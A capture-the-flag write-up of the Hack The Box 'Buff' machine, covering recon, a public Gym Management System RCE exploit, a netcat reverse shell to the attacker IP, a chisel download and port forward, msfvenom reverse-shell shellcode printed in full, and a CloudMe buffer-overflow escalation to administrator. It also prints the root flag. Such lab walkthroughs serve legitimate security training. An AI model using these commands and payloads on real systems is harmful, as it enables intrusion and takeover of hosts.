> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/easy-boxes/buff.md).
# Buff
Buff
## Recon
```bash
# Nmap 7.94SVN scan initiated Thu Feb 22 23:31:58 2024 as: nmap -sC -sV -T4 -p- -Pn -oN buff 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up (0.12s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 22 23:39:16 2024 -- 1 IP address (1 host up) scanned in 438.23 seconds
```
Just 2 ports.
Firstly more interesting is HTTP, so lets check it.
## HTTP
HTTP
Web Page about Gym?
After fuzzing there was a couple of things but not too much.
*"Made using Gym Management Software 1.0"*
```bash
searchsploit Gym Management
```
```bash
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
GYM MS - GYM Management System - Cross Site Scripting (Stored) | php/webapps/51777.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```
"Unauthenticated Remote Code Execution" this one looks interesting.
Download it and execute.
## Shaun User
```bash
python2 gym.py 'http://10.10.10.198:8080/'
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload>
```
And we got a shell, but it is unstable, also this is not real reverse shell, just a webshell.
So I will upload a netcat.
```bash
C:\xampp\htdocs\gym\upload> nc64.exe -e cmd 10.10.16.16 4224
```
```bash
rlwrap nc -lnvp 4224
listening on [any] 4224 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.10.198] 49802
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\gym\upload>powershell -ep bypass
powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\htdocs\gym\upload>
```
we are in!
## Administrator
After some investigation, I found this.
```bash
PS C:\Users\shaun\Downloads> ls
ls
Directory: C:\Users\shaun\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 16/06/2020 16:26 17830824 CloudMe_1112.exe
```
CloudMe installer.
> CloudMe is a cloud storage and file synchronization service that allows users to store their files online and access them from various devices. It provides features similar to other cloud storage services like Dropbox, Google Drive, and Microsoft OneDrive.
```bash
PS C:\Users\shaun> netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 944
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 4276
TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 7808
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 8112
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 516
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1060
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1632
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2160
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 668
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 684
TCP 10.10.10.198:139 0.0.0.0:0 LISTENING 4
TCP 10.10.10.198:8080 10.10.14.7:58350 CLOSE_WAIT 8112
TCP 10.10.10.198:8080 10.10.16.16:42608 FIN_WAIT_2 8112
TCP 10.10.10.198:8080 10.10.16.16:56722 ESTABLISHED 8112
TCP 10.10.10.198:49769 10.10.14.7:8885 CLOSE_WAIT 5884
TCP 10.10.10.198:49808 10.10.16.16:4224 ESTABLISHED 1260
TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING 5104
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 8156
TCP 127.0.0.1:49805 127.0.0.1:3306 TIME_WAIT 0
TCP 127.0.0.1:49807 127.0.0.1:3306 TIME_WAIT 0
TCP [::]:135 [::]:0 LISTENING 944
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:7680 [::]:0 LISTENING 7808
TCP [::]:8080 [::]:0 LISTENING 8112
TCP [::]:49664 [::]:0 LISTENING 516
TCP [::]:49665 [::]:0 LISTENING 1060
TCP [::]:49666 [::]:0 LISTENING 1632
TCP [::]:49667 [::]:0 LISTENING 2160
TCP [::]:49668 [::]:0 LISTENING 668
TCP [::]:49669 [::]:0 LISTENING 684
UDP 0.0.0.0:123 *:* 7460
UDP 0.0.0.0:5050 *:* 4276
UDP 0.0.0.0:5353 *:* 2020
UDP 0.0.0.0:5355 *:* 2020
UDP 0.0.0.0:56885 *:* 2020
UDP 0.0.0.0:62782 *:* 2020
UDP 0.0.0.0:63771 *:* 2020
UDP 0.0.0.0:64409 *:* 2020
UDP 10.10.10.198:137 *:* 4
UDP 10.10.10.198:138 *:* 4
UDP 10.10.10.198:1900 *:* 6236
UDP 10.10.10.198:60056 *:* 6236
UDP 127.0.0.1:1900 *:* 6236
UDP 127.0.0.1:49664 *:* 2892
UDP 127.0.0.1:60057 *:* 6236
UDP [::]:123 *:* 7460
UDP [::]:5353 *:* 2020
UDP [::]:5355 *:* 2020
UDP [::]:56885 *:* 2020
UDP [::]:62782 *:* 2020
UDP [::]:63771 *:* 2020
UDP [::]:64409 *:* 2020
UDP [::1]:1900 *:* 6236
UDP [::1]:60055 *:* 6236
UDP [fe80::4123:3d4f:df45:19b7%10]:1900 *:* 6236
UDP [fe80::4123:3d4f:df45:19b7%10]:60054 *:* 6236
```
1 open port that we didnt saw.
```bash
PS C:\Users\shaun> Get-Process -Id (Get-NetTcpConnection -LocalPort 8888).OwningProcess
Get-Process -Id (Get-NetTcpConnection -LocalPort 8888).OwningProcess
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
341 24 30492 37536 7580 0 CloudMe
```
Ok it is CloudMe, so this must be a path to Administrator.
```bash
searchsploit CloudMe
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit) | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass) | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit) | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass) | windows_x86-64/remote/44784.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```
And yeah it is vulnerable, super!
But it is listening on local host, and PoC is a Python, so it would be easier to do port forwarding.
Im going to upload a chilel.
```bash
PS C:\Users\shaun> iwr -uri http://10.10.16.16/chisel.exe -o chisel.exe
```
```bash
PS C:\Users\shaun> .\chisel.exe client 10.10.14.20:5555 R:8888:127.0.0.1:8888
.\chisel.exe client 10.10.14.20:5555 R:8888:127.0.0.1:8888
2024/02/23 11:09:09 client: Connecting to ws://10.10.14.20:5555
```
I will use this one.
```bash
windows/remote/48389.py
```
But before executing it I need to generate a payload with msfvenom.
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.16.16 LPORT=4225 -b '\x00\x0A\x0D' -f python -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 2064 bytes
payload = b""
payload += b"\xbf\x99\xb3\x1e\xf7\xdb\xc4\xd9\x74\x24\xf4"
payload += b"\x5a\x29\xc9\xb1\x59\x31\x7a\x14\x83\xc2\x04"
payload += b"\x03\x7a\x10\x7b\x46\xe2\x1f\xf4\xa9\x1b\xe0"
payload += b"\x6a\x23\xfe\xd1\xb8\x57\x8a\x40\x0c\x13\xde"
payload += b"\x68\xe7\x71\xcb\x7f\x40\x3f\xd5\xf4\xdc\xe8"
payload += b"\x28\xf4\x11\x29\xe6\x36\x30\xd5\xf5\x6a\x92"
payload += b"\xe4\x35\x7f\xd3\x21\x80\xf5\x3c\xff\x44\x7d"
payload += b"\x90\x10\xe0\xc3\x28\x10\x26\x48\x10\x6a\x43"
payload += b"\x8f\xe4\xc6\x4a\xc0\x8f\x9f\x54\x6b\xd7\x3f"
payload += b"\x35\x6a\x34\xba\x7c\x18\x86\xf4\x81\xa8\x7d"
payload += b"\xc2\xf6\x2a\x57\x1a\xc9\x81\x96\x92\xc4\xd8"
payload += b"\xdf\x15\x37\xaf\x2b\x66\xca\xa8\xe8\x14\x10"
payload += b"\x3c\xee\xbf\xd3\xe6\xca\x3e\x37\x70\x99\x4d"
payload += b"\xfc\xf6\xc5\x51\x03\xda\x7e\x6d\x88\xdd\x50"
payload += b"\xe7\xca\xf9\x74\xa3\x89\x60\x2d\x09\x7f\x9c"
payload += b"\x2d\xf5\x20\x38\x26\x14\x36\x3c\xc7\xe6\x37"
payload += b"\x60\x5f\x2a\xfa\x9b\x9f\x24\x8d\xe8\xad\xeb"
payload += b"\x25\x67\x9d\x64\xe0\x70\x94\x63\x13\xae\x1e"
payload += b"\xe3\xed\x4f\x5e\x2d\x2a\x1b\x0e\x45\x9b\x24"
payload += b"\xc5\x95\x24\xf1\x73\x9c\xb2\xf0\x89\xb0\x52"
payload += b"\x6d\x8f\xb0\x42\xec\x06\x56\x32\xbe\x48\xc7"
payload += b"\xf3\x6e\x28\xb7\x9b\x64\xa7\xe8\xbc\x86\x62"
payload += b"\x81\x57\x69\xda\xf9\xcf\x10\x47\x71\x71\xdc"
payload += b"\x52\xff\xb1\x56\x56\xff\x7c\x9f\x13\x13\x68"
payload += b"\xf8\xdb\xeb\x69\x6d\xdb\x81\x6d\x27\x8c\x3d"
payload += b"\x6c\x1e\xfa\xe1\x8f\x75\x79\xe5\x70\x08\x4b"
payload += b"\x9d\x47\x9e\xf3\xc9\xa7\x4e\xf3\x09\xfe\x04"
payload += b"\xf3\x61\xa6\x7c\xa0\x94\xa9\xa8\xd5\x04\x3c"
payload += b"\x53\x8f\xf9\x97\x3b\x2d\x27\xdf\xe3\xce\x02"
payload += b"\x63\xe3\x30\xd0\x4c\x4c\x58\x2a\xcd\x6c\x98"
payload += b"\x40\xcd\x3c\xf0\x9f\xe2\xb3\x30\x5f\x29\x9c"
payload += b"\x58\xea\xbc\x6e\xf9\xeb\x94\x2f\xa7\xec\x1b"
payload += b"\xf4\x58\x96\x54\x0b\x99\x67\x7d\x68\x9a\x67"
payload += b"\x81\x8e\xa7\xb1\xb8\xe4\xe6\x01\xff\xf7\x5d"
payload += b"\x27\x56\x92\x9d\x7b\xa8\xb7"
```
And paste it in PoC exploit.
Start a listener.
```bash
rlwrap nc -lnvp 4225
```
```bash
python cloudmepoc.py
```
```bash
rlwrap nc -lnvp 4225
listening on [any] 4225 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.10.198] 49837
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
buff\administrator
```
ok, we are administrator.
```bash
C:\Users\Administrator\Desktop>type root.txt
type root.txt
bc0c60af5dc2b8023bea043fbef2f59c
```
and root.flag
